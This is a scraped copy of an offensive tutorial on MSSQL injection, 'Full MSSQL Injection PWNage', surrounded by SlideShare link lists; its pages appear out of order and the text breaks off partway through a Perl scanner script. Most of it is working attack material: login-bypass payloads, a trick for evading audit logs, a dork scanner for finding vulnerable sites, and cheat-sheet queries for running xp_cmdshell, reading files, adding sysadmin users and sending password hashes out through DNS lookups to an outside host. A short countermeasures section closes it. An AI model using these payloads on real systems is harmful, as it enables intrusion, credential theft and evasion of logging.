15 of 17                                                                                                              12/24/10 5:49 PM
Vulnerability analysis, Security Papers, Exploit Tutorials                                     http://www.exploit-db.com/papers/12975/


                   |---------------|---------------------------------------------------------------------------|
                   |    Casting    | SELECT CAST('1' as int);                                                  |
                   |               | SELECT CAST(1 as char)                                                    |
                   |---------------|---------------------------------------------------------------------------|
                   |    String     | SELECT 'A' + 'B' - returns AB                                             |
                   | Concatenation |                                                                           |
                   |---------------|---------------------------------------------------------------------------|
                   | If Statement | IF (1=1) SELECT 1 ELSE SELECT 2 -- returns 1                               |
                   |---------------|---------------------------------------------------------------------------|
                   |Case Statement | SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END -- returns 1                       |
                   |---------------|---------------------------------------------------------------------------|
                   |Avoiding Quotes| SELECT char(65)+char(66) -- returns AB                                    |
                   |---------------|---------------------------------------------------------------------------|
                   | Time Delay    | WAITFOR DELAY '0:0:5' -- pause for 5 seconds                              |
                   |---------------|---------------------------------------------------------------------------|
                   |               | declare @host varchar(800); select @host = name FROM master..syslogins;   |
                   |               | exec('master..xp_getfiledetails ''' + @host + 'c$boot.ini''');        |
                   |               | -- nonpriv, works on 2000                                                 |
                   |               |                                                                           |
                   |               | declare @host varchar(800); select @host = name + '-' +                   |
                   |     Make      | master.sys.fn_varbintohexstr(password_hash) + '.2.pentestmonkey.net'      |
                   | DNS Requests | from sys.sql_logins; exec('xp_fileexist ''' + @host + 'c$boot.ini''');|
                   |               | -- priv, works on 2005                                                    |
                   |               |                                                                           |
                   |               | -- NB: Concatenation is not allowed in calls to these SPs, hence why we   |
                   |               | have to use @host. Messy but necessary.                                   |
                   |               | -- Also check out theDNS tunnel feature of sqlninja                       |
                   |---------------|---------------------------------------------------------------------------|
                   |    Command    | EXEC xp_cmdshell 'net user'; -- priv                                      |
                   |   Execution   |                                                                           |
                   |---------------|---------------------------------------------------------------------------|
                   |     Local     | CREATE TABLE mydata (line varchar(8000));                                 |
                   | File Access | BULK INSERT mydata FROM 'c:boot.ini';                                      |
                   |               | DROP TABLE mydata;                                                        |
                   |---------------|---------------------------------------------------------------------------|
                   | Hostname, IP | SELECT HOST_NAME()                                                         |
                   |---------------|---------------------------------------------------------------------------|
                   | Create Users | EXEC sp_addlogin 'user', 'pass'; -- priv                                   |
                   |---------------|---------------------------------------------------------------------------|
                   | Drop Users    | EXEC sp_droplogin 'user'; -- priv                                         |
                   |---------------|---------------------------------------------------------------------------|
                   | Make User DBA | EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin; -- priv            |
                   +---------------+---------------------------------------------------------------------------+


           ########################################
            [0x06] - SQL Injection Countermeasures
           ########################################

                   Main cause of SQL injection vulnerability is input validation. Many web developers do not provide
           proper mechanism in order to sanitize any form of input. So, attackers take advantage of this point and gain access
           to many databases. There are solutions to prevent SQL injection vulnerability.

                   - Use whilelist input: because we cannot know all of bad inputs, so the efficient way is to allow only our known-valid inp
                   - Check input type: in some cases, attackers inject string into numeric input field or inject numeric into string input fi
                     these may cause SQL injection vulnerability
                   - Escape database metacharacters: use / in order to escape database metacharacters by prepending / in front of metacharate
                   - Don't ignore any ways of input: attackers can manipulate input to exploit SQL vulnerabilities, so you must not care only
                     cookies and form fields as well
                   - Use Parameterized Queries: MSSQL provides API for handling inputs which can help us to prevent SQL injection.
                     This mechanism is called "Parameterized Queries".

                                   The following two code samples illustrate the difference between an unsafe query dynamically constructed o
                           user data, and its safe parameterized counterpart.

                                   In the first, the user-supplied name parameter is embeded directly into a SQL statement, leaving the
                           application vulnerable to SQL injection:

                                   //define the query structure
                                   string queryText = "select ename,sak from emp where ename ='";

                                   //concatenate the user-supplied name
                                   queryText += request.getParameter("name");
                                   queryText += "'";

                                   //execute the query
                                   stmt = con.createStatement();
                                   rs = stmt.executeQuery(queryText);

                                   In the second example, the query structure is defined using a question mark as a placeholder
                           for the user-supplied parameter. The prepareStatement method is invoked to interpret this, and fix the structure
                           of the query that is to be executed. Only then is the setString method used to specify the actual value of
                           the parameter. Because the query's structure has already been fixed, this value can contain any data at all,
                           without affecting the structure. The query is then executed safely:

                                   //define the query structure
                                   String queryText = "select ename,sal from emp where ename = ?";

                                   //prepare the statement through DB connection "con"
                                   stmt = con.prepareStatement(queryText);




16 of 17                                                                                                              12/24/10 5:49 PM
Vulnerability analysis, Security Papers, Exploit Tutorials                                      http://www.exploit-db.com/papers/12975/


                                    //add the user input to variable 1 (at the first ? placeholder)
                                    stmt.setSting(1, request.getParameter("name"));

                                    //execute the query
                                    rs = stmt.executeQuery();


           #####################
            [0x07] - References
           #####################

           [1]   Error based SQL injection - a true story: AnalyseR
           [2]   Advanced SQL Injection In SQL Server Applications: Chris Anley
           [3]   ASCII Encoded/Binary String Automated SQL Injection Attack: Michael Zino
           [4]   http://pentestmonkey.net
           [5]   http://www.owasp.org
           [6]   http://www.milw0rm.com

           ####################
            [0x08] - Greetz To
           ####################

           Greetz      : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK
           Special Thx : asylu3, str0ke, citec.us, milw0rm.com

                                           ----------------------------------------------------
                   This paper is written for Educational purpose only. The authors are not responsible for any damage
            originating from using this paper in wrong objective. If you want to use this knowledge with other person systems,
                                           you must request for consent from system owner before
                                           ----------------------------------------------------

           # milw0rm.com [2009-01-29]

                                                             Ā© Offensive Security 2010




17 of 17                                                                                                              12/24/10 5:49 PM

More Related Content

What's hot (20)

PDF
Appreciative Advanced Blind SQLI Attack
ijtsrd
Ā 
PDF
Sql injection å¹¼å¹¼ē­
hugo lu
Ā 
PDF
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
Pichaya Morimoto
Ā 
PDF
SQL injection: Not Only AND 1=1 (updated)
Bernardo Damele A. G.
Ā 
DOCX
Ethical hacking lab series lab 14 understan
jasmin849794
Ā 
PPTX
03. sql and other injection module v17
Eoin Keary
Ā 
PDF
C days2015
Nuno Loureiro
Ā 
PPTX
Understanding and preventing sql injection attacks
Kevin Kline
Ā 
PPT
Advanced sql injection
badhanbd
Ā 
PPTX
SQL Injection in action with PHP and MySQL
Pradeep Kumar
Ā 
PPTX
SQL injection prevention techniques
SongchaiDuangpan
Ā 
PPTX
Beyond XP_CMDSHELL: Owning the Empire Through SQL Server
NetSPI
Ā 
PPTX
SQL Injection attack
Rayudu Babu
Ā 
PDF
TROOPERS 20 - SQL Server Hacking Tips for Active Directory Environments
Scott Sutherland
Ā 
PPTX
SQL Injection
Asish Kumar Rath
Ā 
PPTX
2017 Thotcon - Hacking SQL Servers on Scale with PowerShell
Scott Sutherland
Ā 
PDF
Havij help english
moguinos
Ā 
PPT
Ebook8
kaashiv1
Ā 
PPTX
Codemotion 2013: Feliz 15 aniversario, SQL Injection
Chema Alonso
Ā 
PDF
PowerUpSQL - 2018 Blackhat USA Arsenal Presentation
Scott Sutherland
Ā 
Appreciative Advanced Blind SQLI Attack
ijtsrd
Ā 
Sql injection å¹¼å¹¼ē­
hugo lu
Ā 
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
Pichaya Morimoto
Ā 
SQL injection: Not Only AND 1=1 (updated)
Bernardo Damele A. G.
Ā 
Ethical hacking lab series lab 14 understan
jasmin849794
Ā 
03. sql and other injection module v17
Eoin Keary
Ā 
C days2015
Nuno Loureiro
Ā 
Understanding and preventing sql injection attacks
Kevin Kline
Ā 
Advanced sql injection
badhanbd
Ā 
SQL Injection in action with PHP and MySQL
Pradeep Kumar
Ā 
SQL injection prevention techniques
SongchaiDuangpan
Ā 
Beyond XP_CMDSHELL: Owning the Empire Through SQL Server
NetSPI
Ā 
SQL Injection attack
Rayudu Babu
Ā 
TROOPERS 20 - SQL Server Hacking Tips for Active Directory Environments
Scott Sutherland
Ā 
SQL Injection
Asish Kumar Rath
Ā 
2017 Thotcon - Hacking SQL Servers on Scale with PowerShell
Scott Sutherland
Ā 
Havij help english
moguinos
Ā 
Ebook8
kaashiv1
Ā 
Codemotion 2013: Feliz 15 aniversario, SQL Injection
Chema Alonso
Ā 
PowerUpSQL - 2018 Blackhat USA Arsenal Presentation
Scott Sutherland
Ā 

Viewers also liked (20)

RTF
Photography
Katherine Brittain
Ā 
PPTX
Depression eng
Jshi
Ā 
PDF
Dia abril
oscargaliza
Ā 
PPT
Triangle Gives Back 101 Webinar - 2011
Triangle Community Foundation
Ā 
PPT
TEMA 4B IR+A+Infinitive
SenoraAmandaWhite
Ā 
PDF
Plan igualdad champion
oscargaliza
Ā 
PPTX
Web api
udaiappa
Ā 
PDF
משחקי מלחמה
haimkarel
Ā 
PDF
Preacuerdo%20pccity%20sin%20lista
oscargaliza
Ā 
PDF
งานนำเสนอ1
Princess Chulabhorn's College, Chiang Rai Thailand
Ā 
PPTX
Global trends in Open Educational Resources
nazzzy
Ā 
PPT
TEMA 5B SER vs ESTAR
SenoraAmandaWhite
Ā 
PPT
Proposal 0323 (stan)
guest7fe64c
Ā 
PPTX
Using Student Research Center
David Smolen
Ā 
PDF
ąøąø²ąø£ąøžąø±ąø’ąø™ąø²ąø„ąøøąø“ąø ąø²ąøžąø›ąø£ąø°ąøŠąø²ąøąø£ą¹‚ąø„ąø
Princess Chulabhorn's College, Chiang Rai Thailand
Ā 
PDF
Acta c.i.29 30-junio
oscargaliza
Ā 
PPTX
Hulu
natalie
Ā 
PPTX
What Is A Canadian
samspector93
Ā 
PDF
×™×Ø×•×©×œ×™× ×ž×—×™×Ø השלום
haimkarel
Ā 
PDF
ą¹€ąøØąø£ąø©ąøąøąø“ąøˆ
Princess Chulabhorn's College, Chiang Rai Thailand
Ā 
Photography
Katherine Brittain
Ā 
Depression eng
Jshi
Ā 
Dia abril
oscargaliza
Ā 
Triangle Gives Back 101 Webinar - 2011
Triangle Community Foundation
Ā 
TEMA 4B IR+A+Infinitive
SenoraAmandaWhite
Ā 
Plan igualdad champion
oscargaliza
Ā 
Web api
udaiappa
Ā 
משחקי מלחמה
haimkarel
Ā 
Preacuerdo%20pccity%20sin%20lista
oscargaliza
Ā 
งานนำเสนอ1
Princess Chulabhorn's College, Chiang Rai Thailand
Ā 
Global trends in Open Educational Resources
nazzzy
Ā 
TEMA 5B SER vs ESTAR
SenoraAmandaWhite
Ā 
Proposal 0323 (stan)
guest7fe64c
Ā 
Using Student Research Center
David Smolen
Ā 
ąøąø²ąø£ąøžąø±ąø’ąø™ąø²ąø„ąøøąø“ąø ąø²ąøžąø›ąø£ąø°ąøŠąø²ąøąø£ą¹‚ąø„ąø
Princess Chulabhorn's College, Chiang Rai Thailand
Ā 
Acta c.i.29 30-junio
oscargaliza
Ā 
Hulu
natalie
Ā 
What Is A Canadian
samspector93
Ā 
×™×Ø×•×©×œ×™× ×ž×—×™×Ø השלום
haimkarel
Ā 
ą¹€ąøØąø£ąø©ąøąøąø“ąøˆ
Princess Chulabhorn's College, Chiang Rai Thailand
Ā 
Ad

Similar to Full MSSQL Injection PWNage (20)

PDF
Module 14 (sql injection)
Wail Hassan
Ā 
PDF
Sql injection bypassing hand book blackrose
Noaman Aziz
Ā 
PPTX
Sql injection
Nuruzzaman Milon
Ā 
PPT
SQL injection and buffer overflows are hacking techniques used to exploit wea...
bankservicehyd
Ā 
PDF
SQL Injection Attack Guide for ethical hacking
Ayan Live Rourkela
Ā 
PPTX
Ppt on sql injection
ashish20012
Ā 
PPTX
Web security with Eng Ahmed Galal and Eng Ramy saeid
Ahmed Ghazey
Ā 
PDF
IRJET- Detection of SQL Injection using Machine Learning : A Survey
IRJET Journal
Ā 
PPTX
Owasp webgoat
Zakaria SMAHI
Ā 
PPTX
Web security
dogangcr
Ā 
PPTX
Sql injection
Tech Bikram
Ā 
PDF
IRJET - SQL Injection: Attack & Mitigation
IRJET Journal
Ā 
PPTX
SQL injection implementation and prevention
Rejaul Islam Royel
Ā 
ODT
Sql injection
Ashok Kumar
Ā 
PPTX
SQL Injection in JAVA
Hossein Yavari
Ā 
PPTX
Sql Injection V.2
Tjylen Veselyj
Ā 
PDF
Sql injection
Safwan Hashmi
Ā 
PPTX
Sql injection attack
Raghav Bisht
Ā 
PDF
Pawel Cygal - SQL Injection and XSS - Basics (Quality Questions Conference)
Grand Parade Poland
Ā 
PPT
SQL Server Security - Attack
webhostingguy
Ā 
Module 14 (sql injection)
Wail Hassan
Ā 
Sql injection bypassing hand book blackrose
Noaman Aziz
Ā 
Sql injection
Nuruzzaman Milon
Ā 
SQL injection and buffer overflows are hacking techniques used to exploit wea...
bankservicehyd
Ā 
SQL Injection Attack Guide for ethical hacking
Ayan Live Rourkela
Ā 
Ppt on sql injection
ashish20012
Ā 
Web security with Eng Ahmed Galal and Eng Ramy saeid
Ahmed Ghazey
Ā 
IRJET- Detection of SQL Injection using Machine Learning : A Survey
IRJET Journal
Ā 
Owasp webgoat
Zakaria SMAHI
Ā 
Web security
dogangcr
Ā 
Sql injection
Tech Bikram
Ā 
IRJET - SQL Injection: Attack & Mitigation
IRJET Journal
Ā 
SQL injection implementation and prevention
Rejaul Islam Royel
Ā 
Sql injection
Ashok Kumar
Ā 
SQL Injection in JAVA
Hossein Yavari
Ā 
Sql Injection V.2
Tjylen Veselyj
Ā 
Sql injection
Safwan Hashmi
Ā 
Sql injection attack
Raghav Bisht
Ā 
Pawel Cygal - SQL Injection and XSS - Basics (Quality Questions Conference)
Grand Parade Poland
Ā 
SQL Server Security - Attack
webhostingguy
Ā 
Ad

More from Prathan Phongthiproek (20)

PDF
Mobile Defense-in-Dev (Depth)
Prathan Phongthiproek
Ā 
PDF
The CARzyPire - Another Red Team Operation
Prathan Phongthiproek
Ā 
PDF
Cyber Kill Chain: Web Application Exploitation
Prathan Phongthiproek
Ā 
PDF
Mobile App Hacking In A Nutshell
Prathan Phongthiproek
Ā 
PDF
Jump-Start The MASVS
Prathan Phongthiproek
Ā 
PDF
OWASP Mobile Top 10 Deep-Dive
Prathan Phongthiproek
Ā 
PDF
The Hookshot: Runtime Exploitation
Prathan Phongthiproek
Ā 
PDF
Understanding ransomware
Prathan Phongthiproek
Ā 
PDF
OWASP Day - OWASP Day - Lets secure!
Prathan Phongthiproek
Ā 
PDF
Don't Trust, And Verify - Mobile Application Attacks
Prathan Phongthiproek
Ā 
PDF
Owasp Top 10 Mobile Risks
Prathan Phongthiproek
Ā 
PDF
Point-Of-Sale Hacking - 2600Thailand#20
Prathan Phongthiproek
Ā 
PDF
OWASP Thailand-Beyond the Penetration Testing
Prathan Phongthiproek
Ā 
PDF
Mobile Application Pentest [Fast-Track]
Prathan Phongthiproek
Ā 
PPTX
Hack and Slash: Secure Coding
Prathan Phongthiproek
Ā 
PPTX
CDIC 2013-Mobile Application Pentest Workshop
Prathan Phongthiproek
Ā 
PDF
Web Application Firewall: Suckseed or Succeed
Prathan Phongthiproek
Ā 
PDF
Layer8 exploitation: Lock'n Load Target
Prathan Phongthiproek
Ā 
PDF
Advanced Malware Analysis
Prathan Phongthiproek
Ā 
PDF
Tisa mobile forensic
Prathan Phongthiproek
Ā 
Mobile Defense-in-Dev (Depth)
Prathan Phongthiproek
Ā 
The CARzyPire - Another Red Team Operation
Prathan Phongthiproek
Ā 
Cyber Kill Chain: Web Application Exploitation
Prathan Phongthiproek
Ā 
Mobile App Hacking In A Nutshell
Prathan Phongthiproek
Ā 
Jump-Start The MASVS
Prathan Phongthiproek
Ā 
OWASP Mobile Top 10 Deep-Dive
Prathan Phongthiproek
Ā 
The Hookshot: Runtime Exploitation
Prathan Phongthiproek
Ā 
Understanding ransomware
Prathan Phongthiproek
Ā 
OWASP Day - OWASP Day - Lets secure!
Prathan Phongthiproek
Ā 
Don't Trust, And Verify - Mobile Application Attacks
Prathan Phongthiproek
Ā 
Owasp Top 10 Mobile Risks
Prathan Phongthiproek
Ā 
Point-Of-Sale Hacking - 2600Thailand#20
Prathan Phongthiproek
Ā 
OWASP Thailand-Beyond the Penetration Testing
Prathan Phongthiproek
Ā 
Mobile Application Pentest [Fast-Track]
Prathan Phongthiproek
Ā 
Hack and Slash: Secure Coding
Prathan Phongthiproek
Ā 
CDIC 2013-Mobile Application Pentest Workshop
Prathan Phongthiproek
Ā 
Web Application Firewall: Suckseed or Succeed
Prathan Phongthiproek
Ā 
Layer8 exploitation: Lock'n Load Target
Prathan Phongthiproek
Ā 
Advanced Malware Analysis
Prathan Phongthiproek
Ā 
Tisa mobile forensic
Prathan Phongthiproek
Ā 

Recently uploaded (20)

PPTX
Agentforce World Tour Toronto '25 - Supercharge MuleSoft Development with Mod...
Alexandra N. Martinez
Ā 
PDF
Home Cleaning App Development Services.pdf
V3cube
Ā 
PDF
NLJUG Speaker academy 2025 - first session
Bert Jan Schrijver
Ā 
PDF
Dev Dives: Accelerating agentic automation with Autopilot for Everyone
UiPathCommunity
Ā 
PDF
What’s my job again? Slides from Mark Simos talk at 2025 Tampa BSides
Mark Simos
Ā 
PPTX
CapCut Pro PC Crack Latest Version Free Free
josanj305
Ā 
PDF
CIFDAQ Market Wrap for the week of 4th July 2025
CIFDAQ
Ā 
PDF
UPDF - AI PDF Editor & Converter Key Features
DealFuel
Ā 
PDF
Evolution: How True AI is Redefining Safety in Industry 4.0
vikaassingh4433
Ā 
PDF
Modern Decentralized Application Architectures.pdf
Kalema Edgar
Ā 
PPTX
MuleSoft MCP Support (Model Context Protocol) and Use Case Demo
shyamraj55
Ā 
PDF
NASA A Researcher’s Guide to International Space Station : Earth Observations
Dr. PANKAJ DHUSSA
Ā 
PDF
UiPath DevConnect 2025: Agentic Automation Community User Group Meeting
DianaGray10
Ā 
PPTX
Essential Content-centric Plugins for your Website
Laura Byrne
Ā 
PDF
Transforming Utility Networks: Large-scale Data Migrations with FME
Safe Software
Ā 
PDF
Automating Feature Enrichment and Station Creation in Natural Gas Utility Net...
Safe Software
Ā 
PDF
Linux schedulers for fun and profit with SchedKit
Alessio Biancalana
Ā 
PDF
Go Concurrency Real-World Patterns, Pitfalls, and Playground Battles.pdf
Emily Achieng
Ā 
PDF
NASA A Researcher’s Guide to International Space Station : Fundamental Physics
Dr. PANKAJ DHUSSA
Ā 
PPTX
Manual Testing for Accessibility Enhancement
Julia Undeutsch
Ā 
Agentforce World Tour Toronto '25 - Supercharge MuleSoft Development with Mod...
Alexandra N. Martinez
Ā 
Home Cleaning App Development Services.pdf
V3cube
Ā 
NLJUG Speaker academy 2025 - first session
Bert Jan Schrijver
Ā 
Dev Dives: Accelerating agentic automation with Autopilot for Everyone
UiPathCommunity
Ā 
What’s my job again? Slides from Mark Simos talk at 2025 Tampa BSides
Mark Simos
Ā 
CapCut Pro PC Crack Latest Version Free Free
josanj305
Ā 
CIFDAQ Market Wrap for the week of 4th July 2025
CIFDAQ
Ā 
UPDF - AI PDF Editor & Converter Key Features
DealFuel
Ā 
Evolution: How True AI is Redefining Safety in Industry 4.0
vikaassingh4433
Ā 
Modern Decentralized Application Architectures.pdf
Kalema Edgar
Ā 
MuleSoft MCP Support (Model Context Protocol) and Use Case Demo
shyamraj55
Ā 
NASA A Researcher’s Guide to International Space Station : Earth Observations
Dr. PANKAJ DHUSSA
Ā 
UiPath DevConnect 2025: Agentic Automation Community User Group Meeting
DianaGray10
Ā 
Essential Content-centric Plugins for your Website
Laura Byrne
Ā 
Transforming Utility Networks: Large-scale Data Migrations with FME
Safe Software
Ā 
Automating Feature Enrichment and Station Creation in Natural Gas Utility Net...
Safe Software
Ā 
Linux schedulers for fun and profit with SchedKit
Alessio Biancalana
Ā 
Go Concurrency Real-World Patterns, Pitfalls, and Playground Battles.pdf
Emily Achieng
Ā 
NASA A Researcher’s Guide to International Space Station : Fundamental Physics
Dr. PANKAJ DHUSSA
Ā 
Manual Testing for Accessibility Enhancement
Julia Undeutsch
Ā 

Full MSSQL Injection PWNage

  • 1. Vulnerability analysis, Security Papers, Exploit Tutorials http://www.exploit-db.com/papers/12975/ Full MSSQL Injection PWNage |=--------------------------------------------------------------------=| |=----------------=[ Full MSSQL Injection PWNage ]=-----------------=| |=-----------------------=[ 28 January 2009 ]=------------------------=| |=---------------------=[ By CWH Underground ]=---------------------=| |=--------------------------------------------------------------------=| ###### Info ###### Title : Full MSSQL Injection PWNage Author : ZeQ3uL && JabAv0C Team : CWH Underground [www.milw0rm.com/author/1456] Website : cwh.citec.us / www.citec.us Date : 2009-01-28 ########## Contents ########## [0x00] - Introduction [0x01] - Know the Basic of SQL injection [0x01a] - Introduction to SQL Injection Attack [0x01b] - How to Test sites that are Vulnerable in SQL Injection [0x01c] - Bypass Authentication with SQL Injection [0x01d] - Audit Log Evasion [0x01e] - (Perl Script) SQL-Google searching vulnerable sites [0x02] - MSSQL Normal SQL Injection Attack [0x02a] - ODBC Error Message Attack with "HAVING" and "GROUP BY" [0x02b] - ODBC Error Message Attack with "CONVERT" [0x02c] - MSSQL Injection with UNION Attack [0x02d] - MSSQL Injection in Web Services (SOAP Injection) [0x03] - MSSQL Blind SQL Injection Attack [0x03a] - How to Test sites that are Vulnerable in Blind SQL Injection [0x03b] - Determine data through Blind SQL Injection [0x03c] - Exploit Query for get Table name [0x03d] - Exploit Query for get Column name [0x04] - More Dangerous SQL Injection Attack [0x04a] - Dangerous from Extended Stored Procedures [0x04b] - Advanced SQL Injection Techniques [0x04c] - Mass MSSQL Injection Worms [0x05] - MSSQL Injection Cheat Sheet [0x06] - SQL Injection Countermeasures [0x07] - References [0x08] - Greetz To ####################### [0x00] - Introduction ####################### Welcome reader, this paper is a short attempt at documenting a practical technique we have been working on. This papers will guide about technique that allows the attackers (us) gaining access into the process of exploiting a website via SQL Injection Techniques that we focused on MSSQL only This paper is divided into 8 sections but only from section 0x01 to 0x06 are about technical information. Section 0x01, we talk about basic knowledge of SQL injection vulnverabilities which are classified into two types, normal and blind. Section 0x02, we give a detail of each way attacking through SQL injection. Section 0x03, we explain the way to enumerate data through blind sql injection technique. Section 0x04, we show more dangerous approaches which can occur through SQL injection vulnerabilities. Section 0x05, we collect MSSQL queries in several purposes. Section 0x06, we offer some tips in order to prevent the system from SQL injection attack. ########################################## [0x01] - Know the Basic of SQL injection ########################################## SQL injection vulnerabilities occur when the database server can be made to execute arbitrary SQL 1 of 17 12/24/10 5:49 PM
  • 2. Vulnerability analysis, Security Papers, Exploit Tutorials http://www.exploit-db.com/papers/12975/ (Structured Query Language) commands. Typically executed through the web application front end (use interface, form, etc.), the attack involves entering malformed or unexpected SQL statements which result in unauthorized execution of SQL commands on the database server. ++++++++++++++++++++++++++++++++++++++++++++++++ [0x01a] - Introduction to SQL Injection Attack ++++++++++++++++++++++++++++++++++++++++++++++++ SQL injection attacks occur when malicious SQL commands are injected into a predefined SQL query in order to alter the outcome of the query. Take the example of an application that requests a user id for authentication. The application adds this user ID to a predefined SQL query to perform authentication. However, if instead of providing a valid user name the attacker inputs a specialized SQL command that forces the termination of the predefined SQL query and forces the execution of a new SQL query. In this way the attacker can execute any SQL command on the host system without even needing to log in. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such shutdown the DBMS), recover the content of a given file present on the DBMS filesystem and in some cases issue commands to the operating system. An application is vulnerable to SQL injection attack when: - User input is incorrectly filtered for string literal escape characters embedded in SQL statements. - User input is either not restricted ? e.g. through strong typing - and thereby can be made to execute in an unexpected manner SQL Injection always occur in application that needs to talk to a Database include: - Authentication forms (Login Pages) - Search forms - E-Commerce sites - Forum / Webboard - Content Manage System (CMS's that use DB),Such as: Joomla Components (http://www.milw0rm.com/search.php?dong=joomla) Mambo Components (http://www.milw0rm.com/search.php?dong=mambo) Wordpress Plugin (http://www.milw0rm.com/search.php?dong=wordpress) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ [0x01b] - How to Test sites that are vulnerable in SQL Injection ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ We must make a list of all input fields whose values could be used in crafting a SQL query, including the hidden fields of POST requests and then test them separately, trying to interfere with the query and to generate an error. The very first test usually consists of adding a single quote (') , double quote ("") or a semicolon (;) to the field under test. [Simple URL] http://www.example.com/news.asp?id=10 [Test SQLi] http://www.example.com/news.asp?id=10' It's vulnerable in SQL injection,If the output some error like this: [HTTP Response]----------------------------------------------------------------------------- Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ''. /news.asp, line 52 [End HTTP Response]------------------------------------------------------------------------- Next solution, Use "OR/AND" Operation for testing SQL injection vulnerability: If contains is the different as original URL that dump all data from database, It's vulnerable in SQL injection. [Simple URL] http://www.example.com/news.asp?id=2 [output]------------------------------------------------------------------------------------ News: 2 Details: Preventing blind SQL injection attacks, Most security professionals know ... [End Output]-------------------------------------------------------------------------------- [Test SQLi] http://www.example.com/news.asp?id=2' or '1'='1 [output]------------------------------------------------------------------------------------ News: 1 Details: SQL injection attack infects hundreds of thousands of websites ... News: 2 Details: Preventing blind SQL injection attacks, Most security professionals know ... News: 3 Details: Mass SQL injection, There's another round of mass SQL injections going on which has infected ... News: 4 Details: New Botnet Malware Spreading SQL injection attack tool ... [End Output]-------------------------------------------------------------------------------- That's Great !! Can you see something different from original URL ? (It's Vuln in SQL Injection Attacks), It's return all query from DB, Why ?? [ASP_code] 2 of 17 12/24/10 5:49 PM
  • 3. Vulnerability analysis, Security Papers, Exploit Tutorials http://www.exploit-db.com/papers/12975/ var sql = "SELECT * FROM news WHERE id = '" + getid +"'"; [End ASP_code] [Final query //id=2] SELECT * FROM news WHERE id = '2' // It's will return News 2 [End id=2] [Final query //id=2' or 'a'='a] // Testing SQLi Vuln SELECT * FROM news WHERE id = '2' or 'a'='a' // It's include ' or 'a'='a into SQL statement and the condition is TRUE, // So It will return all news (id=1,2,3,...) [End id=2' or 'a'='a] ++++++++++++++++++++++++++++++++++++++++++++++++++++ [0x01c] - Bypass Authentication with SQL Injection ++++++++++++++++++++++++++++++++++++++++++++++++++++ This basic technique for "bypass Login" when application use DB to checking authentication. However, an attacker may possibly bypass this check with SQL injection. [Example scripts] +-----------------------------+ | ' or 1=1 -- | | a' or 1=1 -- | | " or 1=1 -- | | a" or 1=1 -- | | ' or 1=1 # | | " or 1=1 # | | or 1=1 -- | | ' or 'x'='x | | " or "x"="x | | ') or ('x'='x | | ") or ("x"="x | | ' or username LIKE '%admin% | +-----------------------------+ | USERNAME: ' or 1/* | | PASSWORD: */ =1 -- | +-----------------------------+ | USERNAME: admin' or 'a'='a | | PASSWORD: '# | +-----------------------------+ [Login ASP_code]---------------------------------------------------------------------------- var sql = "SELECT * FROM users WHERE username = '" + formusr + "' AND password ='" + formpwd + "'"; [End Login ASP_code]------------------------------------------------------------------------ When we input something like this: formusr = admin formpwd = ' or 'a='a [SQL Query]--------------------------------------------------------------------------------- SELECT * FROM users WHERE username = 'admin' AND password = '' or 'a'='a' [End Code]---------------------------------------------------------------------------------- This SQL condition is TRUE and bypass login process, So you don't need admin's password. (Just use ' or 'a'='a) If we input something like this formusr = ' or 1=1 -- formpwd = anything [SQL Query]--------------------------------------------------------------------------------- SELECT * FROM users WHERE username = '' or 1=1 -- AND password = 'anything' [End Code]---------------------------------------------------------------------------------- ** Note ** -- is comment operator of MSSQL DB used to comment out everything following this operator. /*Comment*/ Inline comment, Comments out rest of the query by not closing them / Bypass blacklisting. DROP/*comment*/sampletable DR/**/OP/*bypass blacklisting*/sampletable SELECT/*avoid-spaces*/password/**/FROM/**/Members If application is first getting the record by username and then compare returned MD5 with supplied password's MD5 you need to some extra tricks to fool application to bypass authentication. You can union results with a known password an of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from d formusr = admin formpwd = pass ' AND 1=2 UNION ALL SELECT 'admin', '1a1dc91c907325c69271ddf0c944bc72 1a1dc91c907325c69271ddf0c944bc72 = MD(pass) +++++++++++++++++++++++++++++ [0x01d] - Audit Log Evasion +++++++++++++++++++++++++++++ When we injection some code with SQLi Techniques, All of the SQL queries can be logged and admin can know what's h The technique for evade logging, We use "sp_password" 3 of 17 12/24/10 5:49 PM
  • 4. Vulnerability analysis, Security Papers, Exploit Tutorials http://www.exploit-db.com/papers/12975/ formusr = ' or 1=1 -- sp_password formpwd = anything SQL Server don't log queries which includes sp_password for security reasons(!). So if you add --sp_password to yo it will not be in SQL Server logs (of course still will be in web server logs, try to use POST if it's possible). +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ [0x01e] - (Perl Script) SQL-Google searching vulnerable sites +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ The Good way to searching sites that have SQL injection vulnerability is "Google" (That powerful to use every search engines to searching with IRCbots). We developed simple Perl script for searching SQL injection holes (MSSQL, Mysql, MS Access, Oracle) name "SQL-Google Search": [code]----------------------------------------------------------------------------------- #!/usr/bin/perl use LWP::Simple; use LWP::UserAgent; use HTTP::Request; my $sis="$^O";if ($sis eq 'MSWin32') { system("cls"); } else { system("clear"); } print "+++++++++++++++++++++++++++++++n"; print "+ SQL - Google Search +n"; print "+ CWH Underground +n"; print "+++++++++++++++++++++++++++++++nn"; print "Insert Dork:"; chomp( my $dork = <STDIN> ); print "Total Query Pages (10 Links/Pages) :"; chomp( my $page = <STDIN> ); print "n[+] Result:nn"; for($start = 0;$start != $page*10;$start += 10) { $t = 